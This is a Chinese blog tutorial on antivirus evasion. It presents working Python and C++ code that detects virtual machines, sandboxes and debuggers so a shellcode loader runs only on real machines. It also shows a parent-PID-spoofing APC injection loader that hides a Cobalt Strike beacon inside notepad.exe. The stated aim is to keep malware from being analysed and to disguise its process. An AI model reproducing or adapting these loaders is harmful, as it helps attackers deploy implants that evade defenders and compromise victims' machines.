当前位置: 首页 > article >正文

免杀对抗—反VT沙盒虚拟机反调试进程APC注入

前言

之前是有稍微讲过这个反虚拟机和沙盒的,但是没有详细去讲,都是用工具搞一下滴。今天主要是讲一下原理和一些代码,这个东西可能看起来比较高级,但其实就一个关键——不准运行和反编译。我通过内存大小、CPU核心数量、和一些其它虚拟机的特征来判断当前的环境是不是虚拟机,如果是虚拟机我就不给你运行,就这么简单。

反虚拟机

go

GitHub - Nan3r/checkgo

我们先看一段go的代码,这是网上的项目,因为我不会go,但是用其它的语言来写也是一样的。可以看到这个check sandbox函数里面检测了很多东西,比如开机时间,要是物理机的话你天天用不可能时间是不对的的,但是虚拟机就不一定。

还有内存和CPU啥的,虚拟机相比于物理机明显就小很多很多,还有临时文件啥的,你自己的电脑天天用缓存肯定要比虚拟机大啦。

我们现在生成两个程序,一个是加了虚拟机检测的,另一个是没有加检测的。只不过为啥没加检测才报5个,加了反而报8个,检测的什么玩意这是。

我们把加了检测的放到虚拟机里面,怎么都运行不起来的,这边msf也接收不到。

python

OK,其实我们也可以自己写一个检测虚拟机的代码的。你说不会这些检测CPU的代码咋办,很简单,上网搜咯,没人是啥都会的,这里我们用python。

import ctypes,base64,os,psutil,time
from multiprocessing import cpu_count

#检测内存大小
def check_memory():
    memory  = psutil.virtual_memory().total
    memory_GB = int(memory/1024/1024/1024)+1
    if memory_GB < 8:
        return 0
    else:
        return 1


#检测CPU核心数量
def check_CPU():
    CPU_total = psutil.cpu_count()
    if CPU_total < 4:
        return 0
    else:
        return 1


#检测文件
def check_file():
    VM_file = ['C:\windows\System32\Drivers\Vmmouse.sys',

               'C:\windows\System32\Drivers\vmtray.dll',

               'C:\windows\System32\Drivers\VMToolsHook.dll',

               'C:\windows\System32\Drivers\vmmousever.dll',

               'C:\windows\System32\Drivers\vmhgfs.dll',

               'C:\windows\System32\Drivers\vmGuestLib.dll]',
               ]
    for file in VM_file:
        result = os.path.exists(file)
        if result :
            return 0
        else:
            return 1


if __name__ == '__main__':
    number = check_memory() + check_CPU() + check_file()
    print(number)
    if number < 3:
        exit()
    else:
        shellcode = b""
        ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
        rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode),len(shellcode))
        handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
        ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

我们直接编译成exe看看效果好吧,真机能运行上线。

虚拟机运行不了,因为我们的number小于3,所以代码就直接退出了。当然实际应用肯定没那么简单的,检测的东西越多那么效果就越好。

C/C++

再来看一个检测虚拟机的项目,只是换成了C/C++。

GitHub - nek0YanSu/CheckVM-Sandbox: source code

我们运行一下项目的这段检测CPU的代码,可以看到我目前的物理机CPU为20核心。

#include <stdio.h>
#include <windows.h>

bool CheckCPU() {
    SYSTEM_INFO sysinfo;
    GetSystemInfo(&sysinfo);
    int CoreNum = sysinfo.dwNumberOfProcessors;
    printf("Core:%d\n", CoreNum);
    if (CoreNum < 4)
        return false;
    else
        return true;
}

int main() {
    if (CheckCPU())
        printf("ok");
    else
        printf("error");
    return 0;
}

生成exe丢到虚拟机里面来试试,可以检测到当前虚拟机的CPU核心为16。

OK,那么我们现在把这个项目整合起来,像python那样给定一个返回值,再去判断是否为虚拟机,这里我就不说怎么整合了,可以看到整合起来判断物理机为真机。

然后我们放到虚拟机去试试,判断为虚拟机,上线的话把打印换成上线代码即可。

反调试

这个一般都是结合反虚拟机来用,安全人员对恶意软件的调试分析肯定是在虚拟机里面的,因为你调试肯定要把exe运行起来,那你在物理机调试不就上线了吗。

直接看代码,这是最简单的上线代买,但是可以看到我们多了一个判断,就是判断有没有虚拟机VMware这个目录,没有就执行上线。

物理机可以运行上线。

你妹的,虚拟机上面也可以运行,垃圾项目。

还有一个呢就是反沙盒调试,和反虚拟机调试是一样的,先反沙盒或者虚拟机,再去反OD、IDA这种调试软件。

奇安信攻防社区-浅谈调试与反调试

物理机直接运行代码,显示Not sandbox说明检测沙箱成功。

我们来分析一下源码,通过这里得知它是通过这个进程的PID是否一致,来判断是否为沙箱的。什么意思呢,就是正常你用OD去载入一个exe它的PID和你exe本身运行起来的PID是不一样的,利用这一点去判断是否为沙箱。

进程APC注入

直接翻译过来就是异步过程调用,什么意思呢,当我们运行Project1.exe上线CS时候,可以看到CS上面显示的进程Project1.exe,但是我们可以去更改或者伪造这个进程,让CS上面显示的是其他进程,和那个白名单差不多也是一种免杀手段。

// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
DWORD getParentProcessID()
{
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);
    if (Process32First(snapshot, &process))
    {
        do
        {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
            {
                printf("Find explorer failed!\n");
                break;
            }
        } while (Process32Next(snapshot, &process));
    }
    CloseHandle(snapshot);
    return process.th32ProcessID;
}
int main()
{
    unsigned char shellCode[] = 

    STARTUPINFOEXA sInfoEX;
    PROCESS_INFORMATION pInfo;
    SIZE_T sizeT;
    //打开explorer进程获取当前进程所有权限
    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
    //用0填充数组
    ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
    //初始化指定的属性列表,创建进程和线程
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
    //设置进程属性并从堆中分配内存
    sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
    InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
    //更新用于进程和线程创建的属性列表中的指定属性
    UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);

    sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    CreateProcessA("C:\\Windows\\System32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        TRUE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
        &pInfo);
    //分配内存
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    SIZE_T* lpNumberOfBytesWritten = 0;
    //写入内存
    BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
    // APC调用
    QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
    //启动线程
    ResumeThread(pInfo.hThread);
    CloseHandle(pInfo.hThread);
    return 0;
}

可以看到上线的进程是notepad.exe,而不是project1.exe。

电脑进程看到的也是是notepad.exe,而不是project1.exe。

其中这篇文章就讲了很多反调试技术,有针对OD和一些其它的反编译软件,但是我说实话大多数的安全厂商都是用自己的反编译软件滴,都是商业机密也不会公开啥的。

反调试技术

总结

今年的内容基本比较简单,核心就是检测和不让exe运行,代码不会写的话自己搞工具加壳反编译也行。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

引用和参考文章

反调试技术

奇安信攻防社区-浅谈调试与反调试


http://www.kler.cn/a/376198.html

相关文章:

  • 【NOIP普及组】 FBI树
  • 告别繁琐统计,一键掌握微信数据
  • 奥数与C++小学四年级(第十八题 小球重量)
  • 嵌入式硬件电子电路设计(三)电源电路之负电源
  • 影刀RPA实战:识别简单计算验证码
  • 大数据新视界 -- 大数据大厂之大数据环境下的网络安全态势感知
  • LeetCode 3165. 不包含相邻元素的子序列的最大和
  • nginx的基本安装与服务器配置
  • 驱动TFT-1.44寸屏(ST7735)显示器
  • 【面试】数组中 Array.forEach()、Array.map() 遍历结束后是否改变原数组
  • k8s 排查集群中故障节点
  • Jenkins面试整理-如何在 Jenkins 中使用插件?
  • 2000字搞懂Java中Lambda+方法引用简化代码(开发代码量秒缩十倍)
  • 鸿蒙ArkTS中的image组件
  • 代码随想录算法训练营第四十一天 | 01背包问题(二维),01背包问题(一维),416.分割等和子集
  • 分布式和微服务系统区别
  • SpringBoot助力大型商场应急预案自动化
  • C语言日记 2024年11月2日
  • 利士策分享,锚定未来:稳健规划人生
  • git reset 删除错误提交
  • 【Python爬虫实战】网络爬虫完整指南:HTTP/HTTPS协议与爬虫安全实践
  • 博物馆3D数字化的优势有哪些?
  • ArcGIS Pro SDK (二十)流图层
  • 【Android】初始路由框架及ARouter原理
  • 基于Matlab GUI的说话人识别测试平台
  • 一般无人机和FPV无人机的区别